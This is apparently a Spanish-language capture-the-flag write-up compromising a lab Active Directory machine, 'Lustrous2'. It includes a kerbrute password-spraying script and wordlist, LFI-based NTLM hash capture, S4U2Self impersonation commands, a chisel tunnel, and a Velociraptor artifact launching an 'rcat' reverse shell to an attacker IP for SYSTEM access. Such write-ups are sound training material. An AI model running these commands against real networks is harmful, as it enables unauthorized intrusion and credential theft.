NMAP

Puertos y servicios identificados con el escaneo inicial dando a entender un contexto claro de un entorno Windows Active Directory:

21/tcp   open  ftp
53/tcp   open  domain
80/tcp   open  http
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5357/tcp open  wsdapi

Puerto 21 | FTP

En el Puerto 21, observo que si pruebo el login con el user ‘anonymous’ es valido:

ftp anonymous@lustrous2.vl

Al enumerar carpetas, obtengo usuarios dentro del directorio Homes y, en especial, una pista en el archivo audit.txt , dentro de la carpeta /ITSEC, que indica que las contraseñas de los usuarios son débiles. Esto nos da la idea que vamos a tener que bruteforcear users :)

Audit Report Issue Tracking

[Fixed] NTLM Authentication Allowed
[Fixed] Signing & Channel Binding Not Enabled
[Fixed] Kerberoastable Accounts
[Fixed] SeImpersonate Enabled

[Open] Weak User Passwords

Genero un custom wordlist para Kerbrute

Me creo el siguiente script en bash el cual mediante kerbrute va a bruteforcear con un custom wordlist de passwords a los usuarios que obtuve en el FTP.

#!/bin/bash

users="users.txt"
passwd="custom_wordlist.txt"
DC="lus2dc.lustrous2.vl"
domain="lustrous2.vl"

if [[ ! -f "$users" ]]; then
  echo "El archivo $users no existe."
  exit 1
fi

if [[ ! -f "$passwd" ]]; then
  echo "El archivo $passwd no existe."
  exit 1
fi


while read -r usuario; do
  echo "Checking user: $usuario@$domain"
  kerbrute bruteuser --dc "$DC" -d "$domain" "$passwd" "$usuario@$domain" -v

  if [[ $? -ne 0 ]]; then
    echo "Error:  $usuario@$domain"
  fi

  echo "Finished: $usuario@$domain"
  echo "-------------------------------------"

done < "$users"
echo "Finished"

Este es parte del wordlist de las contraseñas generadas para bruteforcear los users:

password123
Password2024
Password2023
lustrous2
Lustrous2!
Lustrous2024
Welcome2024
Welcome123
Welcome!
User123
Lustrous2!
User2024
Qwerty123
Qwerty2024
123456
Password1
Password!
Sommer2024
Spring2024
Winter2024
Summer2024
Autumn2024
Administrator2024
Admin2024
Guest2024
Ryan123
Ryan2024
Emma123
Emma2024
Aaron123
Aaron2024
Moore2024
Bell2024
Norman2024
Lustrous2024
Start123!
[..snipped..]

Credenciales encontradas

Con el custom wordlist, logro dar con 2 nuevas credenciales:

[+] VALID LOGIN:     Terence.Jordan@lustrous2.vl:Lustrous2!
[+] VALID LOGIN:     Thomas.Myers@lustrous2.vl:Lustrous2024

Extraigo datos desde LDAP’s (port 636).

Desde LDAP Signed, en el puerto 636, logro obtener información valiosa del Active Directory que será de gran utilidad más adelante. Esta información puede incluir detalles sobre la estructura del dominio, usuarios y grupos:

ldapsearch -x -H ldaps://lustrous2.vl:636 -D "Terence.Jordan@lustrous2.vl" -w 'Lustrous2!' -b "DC=lustrous2,DC=vl" -o tls_reqcert=never >ldap_outfile.txt

Kerberos Authentication en Linux

Tenemos que definir como va a comunicarse nuestra maquina Linux con la autenticación Kerberos, y esto podemos hacerlo editando el archivo /etc/krb5.conf. Configurar correctamente este archivo es fundamental para garantizar que las solicitudes de autenticación se procesen sin problemas:

[libdefaults]
        default_realm = LUSTROUS2.VL
        kdc_timesync = 1
        ccache_type = 4
        forwardable = true
        proxiable = true
        fcc-mit-ticketflags = true
        dns_canonicalize_hostname = false
        dns_lookup_realm = false
        dns_lookup_kdc = true
        k5login_authoritative = false
[realms]        
        LUSTROUS2.VL = {
                kdc = lustrous2.vl
                admin_server = lustrous2.vl
                default_admin = lustrous2.vl
        }
[domain_realm]
        .lustrous2.vl = LUSTROUS2.VL

Una vez seteado el krb5.conf, probamos solicitando un ticket para Thomas Myers.

getTGT.py lustrous2.vl/Thomas.Myers:'Lustrous2024' -dc-ip 10.129.214.125

export KRB5CCNAME=Thomas.Myers.ccache

Si comprobamos con klist vemos que tenemos un SPN HTTP:

Si verificamos con curl con el flag de —negotiate:

curl --negotiate -u : http://lus2dc.lustrous2.vl -v

Entre el codigo fuente de la pagina vemos que efectivamente gracias al ticket, nos autenticamos y nos reconoce:

Configurando Firefox para autenticarse con Kerberos

Al parecer funciono todo bien, pero es algo incomodo movernos con el curl por lo que setearemos unos valores en Firefox para acceder via interfaz grafica. Desde la consola que exportamos el ticket, ejecuto el firefox via cli:

firefox

Una vez abre el browser en la barra de direcciones entramos a la config:

about:config

Y seteamos cada uno de los siguientes valores:

network.negotiate-auth.delegation-uris: lus2dc.lustrous2.vl
network.negotiate-auth.trusted-uris: lus2dc.lustrous2.vl
network.negotiate-auth.using-native-gsslib: true

Configurado esto, podemos reiniciar firefox para que tome efecto los cambios y volver a abrirlo desde desde la consola que exporte el ticket nuevamente.

LFI via WEB

Como vemos en la web tenemos un archivo para descargar que previamente lo pudimos visualizar desde el FTP como usuario anonymous. Si tratamos de hacer un LFI sobre algun archivo clasico del sistema como hosts, vemos que funciona y lo descarga.

SMB_SERVER

Contando con este vector de ataque, se me ocurrió que podía intentar sacar un nuevo hash de la cuenta de servicio que se estaba ejecutando detras del LuShare, por lo que levanto mi SMB Server y trato de que acceda al recurso de mi maquina:

http://lus2dc.lustrous2.vl/File/Download?fileName=\10.10.14.24\foo

Recibo conexion y me permite sacar el hash, el cual vamos a guardarlo y crackearlo con rockyou.txt.

La password es → #1Service

Obteniendo un nuevo ticket como ShareSvc

Vamos a solicitar nuevamente con getTGT un ticket pero esta vez para la nueva cuenta ShareSvc.

getTGT.py lustrous2.vl/ShareSvc:'#1Service' -dc-ip 10.129.214.125

Y si accedemos via curl para testear, efectivamente funciona y nos autentica:

Volviendo al LFI

Aunque haya sacado credenciales de ShareSvc estoy en la misma situation del principio en el cual no posee ningún archivo extra, respecto a los otros usuarios que tenia acceso, por lo que si vuelvo al punto del LFI pero esta vez enfocándome en el IIS y en tratar de obtener archivos relevantes del mismo. Por ende, me enfoco en el web.config.

(El web.config de IIS es un archivo de configuración XML que define reglas y configuraciones para aplicaciones web en un servidor IIS, como seguridad, autenticación, rutas y módulos).

El LFI luce algo asi:

http://lus2dc.lustrous2.vl/File/Download?fileName=../../web.config

Ok, tenemos una libreria llamada LuShare.dll la cual podemos descargar y reversearla, a ver si tiene algo que nos interese.

Decompilando el LuShare.dll

Analizando el dll con DNSPY, veo que este atributo en el código está aplicando una restricción de acceso basada en roles. Significa que solo los usuarios que pertenecen al rol ShareAdmins pueden ejecutar estos métodos. Cualquier intento de acceso a estos métodos sin ser parte de este rol resultará en un Forbidden.

Este método es crucial y potencialmente peligroso. Permite ejecutar comandos de Powershell en el servidor con la condición de que se provea un comando y un PIN válido (ba45c518 en este caso).

• Verificación del PIN: Antes de ejecutar cualquier comando, se valida que el PIN coincida con el valor hardcodeado.

Para abusar de estas funciones, se podría intentar obtener acceso a una cuenta con el rol ShareAdmins. Si vemos cuáles son los usuarios que poseen este rol, -con una rápida búsqueda nuevamente con ldapsearch-, encuentro dos usuarios potenciales:

- Sharon.Birch
- Ryan.Davies

S4U2Self Abuse

S4U2Self (Service for User to Self) es una extensión del protocolo Kerberos que permite a un servicio autenticado solicitar un ticket de servicio (TGS) en nombre de un usuario específico sin necesidad de la contraseña del usuario.

Basicamente es como decirle a un servicio “hacete pasar por tal usuario sin pedirle la contraseña”. Si tenés permisos en el dominio, podés usarlo para actuar como otro usuario y acceder a cosas que normalmente no podrías.

Es lo que haré en este caso, impersonando a Sharon.Birch:

getST.py -self -impersonate "Sharon.Birch" -altservice "HTTP/lus2dc.lustrous2.vl" -k -no-pass -dc-ip "10.129.214.125" "Lustrous2.vl/ShareSvc"

Lo exporto y verifico con klist:

export KRB5CCNAME=Sharon.Birch@HTTP_lus2dc.lustrous2.vl@LUSTROUS2.VL.ccache

Si ahora abro el firefox desde la consola que exporte el ticket de Sharon:

Somos Sharon.Birch. Y tenemos disponible la funcionalidad de upload que habiamos visto previamente en el LuShare.dll, la cual estaba restringida por el rol de ShareAdmins.

Funcion “DEBUG”

Entre otras de las funciones que figuraba en el LuShare.dll estaba la funcion de DEBUG, la cual permitia mediante un PIN hardcodeado la ejecucion de comandos en Powershell.

Tambien vemos que solo permite la ejecucion hasta 100 chars. Mas nos da error.
Hagamos la prueba con un simple comando “DIR” y el PIN.

Funciona!, y obtenemos el listado de directorios y archivos actuales:

---

USER FLAG

Bueno antes de intentar darnos una revshell, podemos catear el user y sacar la flag localizada en la raiz de C:\.

Descargo el RCAT (by xct) en la victima y dejo un puerto a la escucha en la maquina atacante para obtener una revshell sin complicaciones.

Velociraptor Abuse

Enumerando ni bien tome la flag, me llamo la atencion esta carpeta instantaneamente:

Velociraptor es una herramienta para hacer respuesta a incidentes y análisis forense en una red. Te deja monitorear, investigar y ejecutar comandos en sistemas comprometidos. Tiene varios componentes:

• Hunts: Búsquedas forenses automáticas para recolectar datos.

• Artifacts: Plantillas para definir qué datos buscar y cómo.

• Server: Centraliza la gestión y los datos recolectados.

• Client: Agente que corre en cada máquina y ejecuta los comandos que le manda el servidor.

Verificando la documentacion oficial veo que escucha en el puerto 8889, por lo que si chequeo esto confirmo que en la maquina esta en estado de LISTENING.

Velociraptor Port Forwarding

Lo primero que necesitamos para trabajar comodos es traernos el puerto con CHISEL, desde windows podriamos ejecutar algo asi:

• ATTACKER IP:

./chisel server --reverse -p 1234

• VICTIM:

.\chisel.exe client --max-retry-count=1 10.10.14.24:1234 R:8889:127.0.0.1:8889

Ya con el puerto redireccionado, podemos acceder con el browser https://localhost:8889/ con credenciales de operator. (Para ser sincero probe todos los users y passwords por default y funciono)

Credenciales: operator:operator

Exploiting Velociraptor via Artifacts

Despues de leer un buen rato y tras prueba y error con la documentacion oficial, el siguiente link me fue de mucha utilidad: https://docs.velociraptor.app/artifact_references/pages/windows.system.cmdshell/

Resaltando lo siguiente:

El plan es crear un nuevo Artifact, luego seleccionar un hunter y aplicarle ese artifact que creamos para lanzarlo y obtener una shell privilegiada.

Basandome en el template de la documentacion creo lo siguiente (aprovechando el rcat.exe que esta en ProgramData):

Artifact creado: <SHKZ>

name: SHKZ
description: G1ve m3 SHell Plz

precondition:
  SELECT OS From info() where OS = 'windows'

parameters:
  - name: Command
    default: "C:\\ProgramData\\rcat.exe connect 10.10.14.24 10000"

sources:
  - query: |
      SELECT * FROM execve(argv=["cmd.exe", "/c", Command])

Luego me dirijo a agregar un Hunter y le asigno el Artifact que cree (SHKZ):

Por ultimo le doy a LAUNCH y luego en RUN, en segundos obtenemos la shell como SYSTEM:

Pwn3d!